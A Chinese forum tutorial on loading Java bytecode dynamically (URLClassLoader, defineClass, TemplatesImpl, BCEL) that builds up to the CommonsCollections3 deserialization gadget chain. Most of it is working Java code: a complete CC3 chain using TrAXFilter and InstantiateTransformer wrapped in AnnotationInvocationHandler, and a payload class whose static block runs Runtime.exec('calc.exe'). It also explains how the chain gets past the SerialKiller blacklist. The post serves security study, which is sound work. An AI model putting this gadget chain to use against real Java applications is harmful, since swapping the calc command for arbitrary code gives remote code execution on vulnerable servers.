05动态加载字节码与CommonsCollections3

打印 上一主题 下一主题

主题 887|帖子 887|积分 2661

test
加载java字节码

Java字节码


  • 广义的字节码——全部可以大概规复成一个类并在JVM虚拟机里加载的字节序列
使用URLclassLoader加载远程class文件


  • URLClassLoader是默认加载类AppClassLoader的父类,两者的工作流程类似
  • URLClassLoader可以从远程加载.class文件
  1. // 注意这里没有package,如果限定了包名,后续url访问和loadClass也需要更改路径和指定包名
  2. public class Hello {
  3.     static {
  4.         System.out.println("static");
  5.     }
  6.     {
  7.         System.out.println("{}");
  8.     }
  9.     public Hello(){
  10.         System.out.println("Hello");
  11.     }
  12. }
复制代码
  1. // 运行和编译Hello.java的版本需要一致
  2. import java.net.MalformedURLException;
  3. import java.net.URL;
  4. import java.net.URLClassLoader;
  5. public class HelloClassLoader
  6. {
  7.     public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
  8.         URL[] urls = {new URL("http://localhost:8000/")};
  9.         System.out.println("load url");
  10.         URLClassLoader loader = URLClassLoader.newInstance(urls);
  11.         System.out.println("loadClass Hello");
  12.         Class c = loader.loadClass("Hello");
  13.         System.out.println("newInstance Hello");
  14.         c.newInstance();
  15.     }
  16. }
复制代码
运行结果

使用ClassLoader#defineClass直接加载字节码


加载class(远程、本地、jar)的方法调用:

  • loadClass:从已加载的类缓存、父加载器等位置寻找类,在前面没有找到的情况下,实行 findClass
  • findClass:根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  • defineClass:处置处罚前面传入的字节码,将其处置处罚成真正的Java类
所以可见,真正焦点的部门实在是 defineClass ,他决定了怎样将一段字节流转变成一个Java类,Java 默认的 ClassLoader#defineClass 是一个native方法(Native方法是Java语言中一种特别的方法,它答应Java代码调用使用其他编程语言,ClassLoader#defineClass 的逻辑在JVM的C语言代码中)
  1. import java.lang.reflect.Method;
  2. import java.util.Base64;
  3. public class HelloDefineClass {
  4.     public static void main(String[] args) throws Exception {
  5.         Method defineClass =
  6.                 ClassLoader.class.getDeclaredMethod("defineClass", String.class,
  7.                         byte[].class, int.class, int.class);
  8.         defineClass.setAccessible(true);
  9.         byte[] code =
  10.                 Base64.getDecoder().decode("yv66vgAAADQAHwoACAAQCQARABIIABMKABQAFQgAFggAFwcAFgcAGAEABjxpbml" +
  11.                         "0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAApIZWxsby" +
  12.                         "5qYXZhDAAJAAoHABkMABoAGwEAAnt9BwAcDAAdAB4BAAVIZWxsbwEABnN0YXRpYwEAEGphdmEvbGFuZy9PYmplY" +
  13.                         "3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9Qcmlu" +
  14.                         "dFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAHAAgAAAAAAAIAAQAJAAoAAQALAAA" +
  15.                         "AOQACAAEAAAAVKrcAAbIAAhIDtgAEsgACEgW2AASxAAAAAQAMAAAAEgAEAAAACAAEAAYADAAJABQACgAIAA0ACgA"+
  16.                         "BAAsAAAAlAAIAAAAAAAmyAAISBrYABLEAAAABAAwAAAAKAAIAAAADAAgABAABAA4AAAACAA8");
  17.         System.out.println("start defineClass ------");
  18.         Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code,
  19.                 0, code.length);
  20.         System.out.println("end defineClass ------");
  21.         hello.newInstance();
  22.     }
  23. }
复制代码
这里的decode的字符串是前面给出的示例代码编译成class后再base64编码,注意编译和运行的版本需要一致。这个例子使用java8时乐成运行,11时有警告,17时无法乐成(由于 Java 9 及以后的版本中引入的模块化系统带来的一个限制。在 Java 9 之前,ClassLoader.defineClass() 方法是 protected 访问权限的,可以通过反射进行访问。但在 Java 9 之后,这个方法被封装在 Java 模块系统中,默认情况下无法从未命名的模块(即你的应用程序)访问。)。
运行结果:

这里还需要介绍一下java中类的加载,类的初始化过程包括以下几个步骤:

  • 加载: 通过类加载器查找并加载类的二进制数据。
  • 链接: 验证类的字节码,预备静态变量,解析类中的符号引用。
  • 初始化: 实行类的静态初始化代码,包括静态代码块和静态变量的赋值。
而使用defineClass加载类时只完成了1 2两步,所以纵然我们说static {}代码块在加载类时就会运行,defineClass也没有达到这一步,所以纵然我们在某个地方可控defineClass要加载的字节码,我们也无法在static{}中写入恶意代码进行恣意代码实行,在类加载后必须得显示调用newInstance
使用TemplatesImpl加载字节码


  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader重写了defineClass方法,修饰符default
  • 可以追溯的调用链,getOutputProperties()和newTransformer()是public
  • 多个反序列化使用链,以及fastjson、jackson的漏洞中,都曾出现过 TemplatesImpl 的身影
  • 被加载的类要求继承AbstractTranslet
  1. TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
  2. TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
  3. -> TransletClassLoader#defineClass()
复制代码
  1. // 加载字节码的代码
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import java.lang.reflect.Field;
  5. import java.util.Base64;
  6. public class LoadClassByTemp {
  7.     public static void main(String[] args) throws Exception {
  8. // source: bytecodes/HelloTemplateImpl.java
  9.         byte[] code =
  10.                 Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA"+
  11.                         "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP"+
  12.                         "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0"+
  13.                         "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm"+
  14.                         "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y"+
  15.                         "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw"+
  16.                         "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp"+
  17.                         "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb"+
  18.                         "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB"+
  19.                         "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj"+
  20.                         "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z"+
  21.                         "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry"+
  22.                         "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n"+
  23.                         "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA"+
  24.                         "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA"+
  25.                         "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA"+
  26.                         "DwABABAAAAACABE=");
  27.                         TemplatesImpl obj = new TemplatesImpl();
  28.         setFieldValue(obj, "_bytecodes", new byte[][] {code});
  29.         setFieldValue(obj, "_name", "HelloTemplatesImpl");
  30.         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  31.         obj.newTransformer();
  32.     }
  33.     public static void setFieldValue(Object obj, String propertyName, Object propertyValue) {
  34.         try {
  35.             // 获取对象的类信息
  36.             Class<?> cls = obj.getClass();
  37.             // 根据属性名获取对应的字段
  38.             Field field = cls.getDeclaredField(propertyName);
  39.             // 设置字段的访问权限
  40.             field.setAccessible(true);
  41.             // 将字段设置为指定的值
  42.             field.set(obj, propertyValue);
  43.         } catch (NoSuchFieldException | IllegalAccessException e) {
  44.             e.printStackTrace();
  45.         }
  46.     }
  47. }
复制代码
  1. // 被加载的类
  2. // 要求继承AbstractTranslet
  3. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  4. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  5. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  6. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  7. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  8. public class HelloTemplatesImpl extends AbstractTranslet {
  9.     public void transform(DOM document, SerializationHandler[] handlers)
  10.             throws TransletException {}
  11.     public void transform(DOM document, DTMAxisIterator iterator,
  12.                           SerializationHandler handler) throws TransletException {}
  13.     public HelloTemplatesImpl() {
  14.         super();
  15.         System.out.println("Hello TemplatesImpl");
  16.     }
  17. }
复制代码
BCEL ClassLoader加载字节码


  • BCEL (Byte Code Engineering Library) 是 Apache Software Foundation 提供的一个用于分析、创建和操作 Java 字节码的库。它提供了一套 API,使开发者可以大概以编程的方式读取、修改和天生 Java 字节码文件。
  • 我们可以通过BCEL提供的两个类 Repository 和 Utility 来使用: Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件天生字节码; Utility 用于将 原生的字节码转换成BCEL格式的字节码
  • BCEL ClassLoader用于加载BCEL格式的字节码,并可以实行此中的代码
  • BCEL ClassLoader在Java 8u251的更新中被移除
  1. import com.sun.org.apache.bcel.internal.classfile.JavaClass;
  2. import com.sun.org.apache.bcel.internal.classfile.Utility;
  3. import com.sun.org.apache.bcel.internal.Repository;
  4. import com.sun.org.apache.bcel.internal.util.ClassLoader;
  5. public class HelloBCEL {
  6.     public static void main(String []args) throws Exception {
  7.         JavaClass cls = Repository.lookupClass(Hello.class);
  8.         String code = Utility.encode(cls.getBytes(), true);
  9.         System.out.println(code);
  10.         Hello hello = (Hello) new ClassLoader().loadClass(code).newInstance();
  11.     }
  12. }
复制代码
为什么需要CommonCollections3

联合TemplatesImpl改造CC1
  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.TransformedMap;
  7. import org.apache.commons.collections.Transformer;
  8. import java.lang.reflect.Field;
  9. import java.util.Base64;
  10. import java.util.HashMap;
  11. import java.util.Map;
  12. public class TestCC3 {
  13.     public static void setFieldValue(Object obj, String fieldName, Object
  14.             value) throws Exception {
  15.         Field field = obj.getClass().getDeclaredField(fieldName);
  16.         field.setAccessible(true);
  17.         field.set(obj, value);
  18.     }
  19.     public static void main(String[] args) throws Exception {
  20.         // source: bytecodes/HelloTemplateImpl.java
  21.         byte[] code =
  22.                 Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA"+
  23.                         "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP"+
  24.                         "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0"+
  25.                         "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm"+
  26.                         "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y"+
  27.                         "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw"+
  28.                         "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp"+
  29.                         "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb"+
  30.                         "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB"+
  31.                         "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj"+
  32.                         "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z"+
  33.                         "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry"+
  34.                         "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n"+
  35.                         "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA"+
  36.                         "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA"+
  37.                         "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA"+
  38.                         "DwABABAAAAACABE=");
  39.                         TemplatesImpl obj = new TemplatesImpl();
  40.         setFieldValue(obj, "_bytecodes", new byte[][] {code});
  41.         setFieldValue(obj, "_name", "HelloTemplatesImpl");
  42.         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  43.         Transformer[] transformers = new Transformer[]{
  44.                 new ConstantTransformer(obj),
  45.                 new InvokerTransformer("newTransformer", null, null)
  46.         };
  47.         Transformer transformerChain = new
  48.                 ChainedTransformer(transformers);
  49.         Map innerMap = new HashMap();
  50.         Map outerMap = TransformedMap.decorate(innerMap, null,
  51.                 transformerChain);
  52.         outerMap.put("test", "xxxx");
  53.     }
  54. }
复制代码
我们了解到了CC1可以通过InvokerTransformer实行恣意方法,所以这里可以通过InvokerTransformer使用TemplatesImpl加载字节码实现恣意代码实行。
为什么需要CC3


  • 2015年初,@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及Java反序列化利⽤⼯具ysoserial,随后引爆了安全界。开发者们⾃然会去找寻⼀种安 全的过滤⽅法,于是类似SerialKiller这样的⼯具随之诞⽣。
  • SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时答应通过的类,在其发布的第⼀个版本代码中,其就限制了InvokerTransformer类
  • CC3没有使用InvokerTransformer类,而是通过com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter的构造方法(调用了(TransformerImpl)templates.newTransformer())加载恣意字节码,又通过org.apache.commons.collections.functors.InstantiateTransformer类调用前一个类的构造方法
  1. // TrAXFilter的构造方法
  2. // Templates是TemplatesImpl的父类
  3. public TrAXFilter(Templates templates)  throws
  4.         TransformerConfigurationException
  5.     {
  6.         _templates = templates;
  7.         _transformer = (TransformerImpl) templates.newTransformer();
  8.         _transformerHandler = new TransformerHandlerImpl(_transformer);
  9.         _useServicesMechanism = _transformer.useServicesMechnism();
  10.     }
复制代码
  1. // org.apache.commons.collections.functors.InstantiateTransformer实现了Transformer, Serializable接口
  2. // 它对于transform的实现
  3. public Object transform(Object input) {
  4.         try {
  5.             if (input instanceof Class == false) {
  6.                 throw new FunctorException(
  7.                     "InstantiateTransformer: Input object was not an instanceof Class, it was a "
  8.                         + (input == null ? "null object" : input.getClass().getName()));
  9.             }
  10.             Constructor con = ((Class) input).getConstructor(iParamTypes);
  11.             return con.newInstance(iArgs);
  12.         } catch (NoSuchMethodException ex) {
  13.             throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
  14.         } catch (InstantiationException ex) {
  15.             throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
  16.         } catch (IllegalAccessException ex) {
  17.             throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
  18.         } catch (InvocationTargetException ex) {
  19.             throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
  20.         }
  21.     }
复制代码
  1. // CC3
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import org.apache.commons.collections.Transformer;
  6. import org.apache.commons.collections.functors.ChainedTransformer;
  7. import org.apache.commons.collections.functors.ConstantTransformer;
  8. import org.apache.commons.collections.functors.InstantiateTransformer;
  9. import org.apache.commons.collections.map.TransformedMap;
  10. import javax.xml.transform.Templates;
  11. import java.io.*;
  12. import java.lang.annotation.Retention;
  13. import java.lang.reflect.Constructor;
  14. import java.lang.reflect.Field;
  15. import java.nio.file.Files;
  16. import java.nio.file.Paths;
  17. import java.util.Base64;
  18. import java.util.HashMap;
  19. import java.util.Map;
  20. public class CommonsCollections3 {
  21.     public static void setFieldValue(Object obj, String fieldName, Object
  22.             value) throws Exception {
  23.         Field field = obj.getClass().getDeclaredField(fieldName);
  24.         field.setAccessible(true);
  25.         field.set(obj, value);
  26.     }
  27.     public static String classFileToBase64(String filepath) throws IOException {
  28.         String classFilePath = filepath;
  29.         String base64String;
  30.         // 读取 class 文件的字节数组
  31.         byte[] classBytes = Files.readAllBytes(Paths.get(classFilePath));
  32.         // 将字节数组转换为 Base64 编码字符串
  33.         base64String= Base64.getEncoder().encodeToString(classBytes);
  34.         return base64String;
  35.     }
  36.     public static void main(String[] args) throws Exception {
  37.         String base64Code = classFileToBase64("your/class/path/CalcExample.class");
  38.         byte[] code =
  39.                 Base64.getDecoder().decode(base64Code);
  40.         TemplatesImpl obj = new TemplatesImpl();
  41.         setFieldValue(obj, "_bytecodes", new byte[][] {code});
  42.         setFieldValue(obj, "_name", "CalcExample");
  43.         setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
  44.         Transformer[] transformers = new Transformer[] {
  45.                 new ConstantTransformer(TrAXFilter.class),
  46.                 new InstantiateTransformer(
  47.                         new Class[] { Templates.class },
  48.                         new Object[] { obj })
  49.         };
  50.         Transformer transformerChain = new
  51.                 ChainedTransformer(transformers);
  52.         Map innerMap = new HashMap();
  53.       
  54.         innerMap.put("value", "xxxx");
  55.       
  56.         Map outerMap = TransformedMap.decorate(innerMap, null,
  57.                 transformerChain);
  58.         Class clazz =
  59.                 Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  60.         Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
  61.         construct.setAccessible(true);
  62.         Object objSer = construct.newInstance(Retention.class, outerMap);
  63.         ByteArrayOutputStream barr = new ByteArrayOutputStream();
  64.         ObjectOutputStream oos = new ObjectOutputStream(barr);
  65.         oos.writeObject(objSer);
  66.         oos.close();
  67.         System.out.println(barr);
  68.         ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
  69.         Object o = ois.readObject();
  70.     }
  71. }
复制代码
  1. // CalcExample.java
  2. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  3. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  5. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  6. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  7. import java.io.IOException;
  8. public class CalcExample extends AbstractTranslet {
  9.     static{
  10.         try {
  11.             Process process = Runtime.getRuntime().exec("calc.exe");
  12.         } catch (IOException e) {
  13.             throw new RuntimeException(e);
  14.         }
  15.     }
  16.     public CalcExample(){
  17.         System.out.println("Calc Example");
  18.     }
  19.     @Override
  20.     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  21.     }
  22.     @Override
  23.     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  24.     }
  25. }
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

缠丝猫

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表